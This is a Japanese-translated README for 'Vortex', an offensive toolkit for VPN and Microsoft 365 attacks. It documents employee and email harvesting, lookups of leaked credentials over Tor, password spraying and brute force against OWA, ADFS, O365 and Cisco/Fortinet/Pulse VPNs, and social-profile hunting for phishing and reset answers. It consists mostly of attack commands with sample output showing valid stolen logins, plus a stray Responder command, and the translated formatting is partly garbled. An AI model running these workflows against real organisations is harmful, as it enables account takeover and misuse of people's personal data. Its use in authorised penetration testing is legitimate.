
VPN全体偵察、テスト、列挙、およびエクスプロイトツールキット
🚩 こちらはvortexの公開リポジトリです。最新バージョンとアップデートについては、https://porchetta.industries/ からのサポートをご検討ください。
VPN総合偵察、テスト、列挙、エクスプロイトツールキット
このプロジェクトをスポンサーしていただき、vortexの最新アップデート、最新の修正、最新機能を入手したい場合は、https://porchetta.industries/ でサポートをお願いします。
Discordで遊びに来てください!
[SprayingToolkit][1]に触発された、非常にシンプルなPythonフレームワークです。 一般的なO365およびVPNエンドポイント(Cisco、Citrix、Fortinet、Pulseなど)の検出、列挙、攻撃に必要なプロセスのほとんどを自動化しようと試みます。
VPNスプレーフェーズをより迅速かつ容易にすること。また、その柔軟性により、このツールは既存のOSINTワークフローに簡単に追加できます。
Vortexは主に以下のタスクの実行を支援します:
以下のようにpip3で前提条件をインストールします:``` sudo -H pip3 install -r requirements.txt
### Virtualenvを使ったインストール
または、仮想環境を使用して前提条件をインストールすることもできます:
###### Windowsの場合```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## 使い方
ツールの使用は非常に簡単ですが、守るべきワークフローがあります。このツールは現在の攻撃に関する情報を保存するためにSQLiteデータベースを使用します。
### ワークスペース
ワークスペースは、ツールが使用するデータベースファイルを表します。名前は、現在の攻撃、プロジェクト、ターゲットをラベル付けするための単純な名前にする必要があります。
各ワークスペースには1つのSQLiteデータベースが割り当てられます。ワークスペース名を指定する場合、例:```
python manage.py -w workspace1
実際に言っているのは、「workspace1.db ファイルを操作したい」ということです。
正しく動作するためには、Vortex は正しいスキーマで DB を初期化する必要があります。 そのためには、以下のコマンドを実行するだけです: vortex workspace init``` python manage.py -w workspace1 db -c init
ユーザーがこのフェーズをスキップしようとすると、Vortexは最初に起動する正しいコマンドを画面に表示します。```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
代わりに、既存の初期化済みDBに対して同じコマンドを実行する場合、VortexはDBファイルを上書きする前に確認を求めます:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### アクションとコマンド
Vortexは1つの位置引数('Action')と、その他のキー付き値で動作します。
それらの中で最も重要なのは、コマンド引数(`-c cmd`)です。アクション値と組み合わせることで、コマンドはVortexが何を行うべきかを定義します。
サポートされているアクションの一覧は、Helpから確認できます。```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
ヘルプからわかるように、アクションごとにサポートされているコマンドのリストはどこにも指定されていません。これは、コマンドを直接指定する必要がないためです。実際、コマンドが指定されていない場合、Vortexは指定されたアクションで利用可能なコマンドの中からユーザーに選択を促します。``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
特定のルーチンに必要な引数についても同様です。実行時に入力が難しい引数がある場合、Vortexは親切にそのパラメータが必要であることをユーザーに通知します。そうでなければ、Vortexはユーザーをガイドして必要な引数を選択または入力させます。
例えば、特定のテーブルやカラムをエクスポートしたい場合、必要なのはエクスポートコマンドを起動するだけです。以下の画像から確認できます。

このような動作により、Vortexは非常に使いやすくなっています。
### 一般的なワークフロー
Vortexは特定の操作ワークフローに従うように設計されており、以下のスキーマにまとめられています:

### 操作
#### ユーザーの収集
特定のターゲットに対する有効なユーザーの収集は、以下の3つの異なるソースを使用して行えます:
* LinkedIn
このソースはLinkedInのユーザーポリシー違反により削除されました。[GoMapEnum](https://github.com/nodauf/GoMapEnum)を使用してLinkedIn上で操作することは可能ですが、その後`import`コマンドを使用してメールアドレスをインポートしてください。
繰り返しになりますが、この機能を使用することはLinkedInユーザー契約の違反となります。LinkedInユーザー契約のポイント[8.2](https://www.linkedin.com/legal/user-agreement#dos)で確認できます:
> お客様は以下の行為を行わないことに同意するものとします:[...]
> 2. サービスをスクレイピングしたり、プロフィールやその他のデータをコピーするために、ソフトウェア、デバイス、スクリプト、ロボット、その他の手段やプロセス(クローラー、ブラウザプラグイン、アドオン、その他の技術を含む)を開発、サポート、または使用すること;
* CrossLinked
上記の機能を部分的に置き換えるために、このツールは[CrossLinked](https://github.com/m8r0wn/CrossLinked)の改変版を埋め込んでいます。このツールはGoogleとBingを使用して企業の従業員を検出しようとします。LinkedInで直接検索するのと同じではありませんが、かなり便利です。
正しく動作させるために、ツールはユーザーにユーザー名のフォーマット(例:john.doe、j.doe、d.john)と、ターゲットドメインで使用されている標準ドメインを尋ねます。```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
このソースは、簡略化・修正されたバージョンのtheHarvesterを使用して動作します。 このツールは、Google Dorksを使用してGoogleから(パッシブ収集)、そして企業のウェブサイトから(アクティブ収集)名前やメールアドレスを抽出しようとします。``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
このソースは、[sn0int](https://github.com/kpcyrd/sn0int) に実装されたものを移植したバージョンを使用して動作します。
**注**: この機能を使用するには、TORネットワークに接続する必要があります。Windowsでは、Vortexに付属の組み込みバージョンを使用できます。一方、Linuxでは、torパッケージをインストールする必要があります(例:Kaliでは `sudo apt-get install tor`)。
##### TORを起動```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### TORを停止```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortexは主に、VPNとMicrosoft (Office)エンドポイントの2つのマクロカテゴリを使用します。 ターゲットはOfficeまたはVPNエンドポイントとして追加でき、VortexはそれぞれOfficeまたはVPNエンドポイントとして、一連のバリデータを使用して検証を試みます。
例を使って明確にしましょう。ユーザーはターゲットevilcorp.comを攻撃し、そのドメインがOWA、Lync、ADFS、またはO365のターゲットであるかどうかを確認したいとします。```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### VPNエンドポイントのサブドメイン検索
VPNエンドポイントの場合、ユーザーはVPN Webログインを実行しているホストを見つけるためにサブドメイン検索を実行できます、
次のように:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done
もちろん、VPNエンドポイントを手動で追加する場合、トップレベルドメインだけを指定してもおそらく不十分です。 正しい方法は、VPN Webサーバーが動作している特定のサブドメインと特定のポートを指定することです。``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
#### OWA、ADFS、LYNC、O365 に対して password spray または bruteforce attack を実行する
password spray または bruteforce attack を実行するために必要なリソースは、テキストファイル形式のパスワードリストで、1行に1つのパスワード
が記述されているもののみです。```
python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
パスワードスプレー攻撃やブルートフォース攻撃を実行するために必要なのは、 1行に1つのパスワードが記述されたテキストファイル形式のパスワードリスト のみです。``` python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### 漏洩した認証情報を使用したパスワードスプレーまたはブルートフォースの実行
VortexはPwnDBから漏洩した認証情報を追跡するため、ユーザーはパスワードファイルを提供する代わりに、漏洩したすべての認証情報をテストすることを選択できます。
ただし、この動作は通常のパスワードスプレーとは大きく異なります。通常のパスワードスプレー攻撃では、実際には単一のパスワードがすべてのユーザーに対して試行されます。漏洩した認証情報攻撃では、漏洩した認証情報が、その情報が漏洩した特定のユーザーに対してテストされます。したがって、例として、Vortexが以下の漏洩を発見した場合:```
User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]
Vortexは以下の試行のみを実行します:``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!
この攻撃を実行するには、パスワードファイルは必要ありませんが、(-L または --leaks) パラメータを設定する必要があります。```
python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
それがほとんどです。時々、ツールは攻撃を実行する前に、VPNレルム/グループの選択など、追加情報を求めることがあります。
いつでも、以下のコマンドを使用して見つけた有効なログインを確認できます。
`sudo responder -I eth0 -wFb```` python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### ソーシャルネットワークプロファイルの検索
大規模なエンゲージメントでは、ターゲットについてもう少し知ることが防御を突破するのに役立つことがあります。例えば、個人のメールやソーシャルアカウントをフィッシングに利用したり、パスワードリセットの秘密の質問への回答を見つけたりすることです。
このため、[Profil3r](https://github.com/Greyjedix/Profil3r) を統合しました。このツールは、個人に関連する可能性のあるソーシャルネットワークアカウントを特定しようとします。
**重要なお知らせ**: Profil3r は名前の組み合わせ(ネームマッシング)を使用して有効なプロファイルを見つけようとします。見つかったプロファイルが本当に対象人物に関連しているとは保証できません。そのため、プロファイルは自動的にVortex DBに追加されません。
現在、Profil3rは2つのモードで動作可能です:
* シングルモード
* マルチモード
シングルモードは、ユーザーが提供したキーワードセットに基づいて動作します:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
マルチモードは、DB内の各ユーザーの名と姓に対して動作します。マルチモードで渡された追加のキーワードは、ユーザーの名と姓と組み合わせて使用されます。例として、追加の名前や番号を使用してプロフィール検索をカスタマイズすることができます。``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### 外部データのインポート
Vortexは、ユーザーやエンドポイントに関連する外部データのインポートもサポートしています。
現在のところ、プレーンテキストファイルのみがサポートされており、CSVにも限定的なサポートがあります。
現在インポート可能なデータタイプは以下の通りです。
* メールアドレス
* ユーザー名
* VPNエンドポイント (ターゲット:ポート)
* ドメイン
* ~~PwnDBからのリーク~~ 非推奨: searchコマンドを使用してください
* ~~Blues~~で抽出したLinkedInデータ
すべてのデータタイプは通常のテキストファイル形式(1行に1要素)でサポートされています。
## ロードマップ
新機能が近日公開予定です(2022年):
* スマートパスワードリスト生成
* データ抽出と相関
バグ、提案、機能リクエストはお寄せください。
## クレジット
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): [SprayingToolkit][1]における彼の素晴らしい業績により。これが本プロジェクトのインスピレーションとなりました。
* [nodauf](https://twitter.com/nodauf): [GoMapEnum](https://github.com/nodauf/GoMapEnum)における彼の業績により。他にもアイデアを与えてくれました。
* [quasart](https://github.com/quasart): ロゴは[spiral](https://github.com/quasart/spiral)で生成されました。
* [m8r0wn](https://twitter.com/m8r0wn): [CrossLinked](https://github.com/m8r0wn/CrossLinked)における彼の業績により。これは本当に素晴らしいツールです。
* [Greyjedix](https://github.com/Greyjedix/): [Profil3r](https://github.com/Greyjedix/Profil3r)における彼の業績により。これは特定の状況で非常に便利なツールです。
[1]: https://github.com/byt3bl33d3r/SprayingToolkit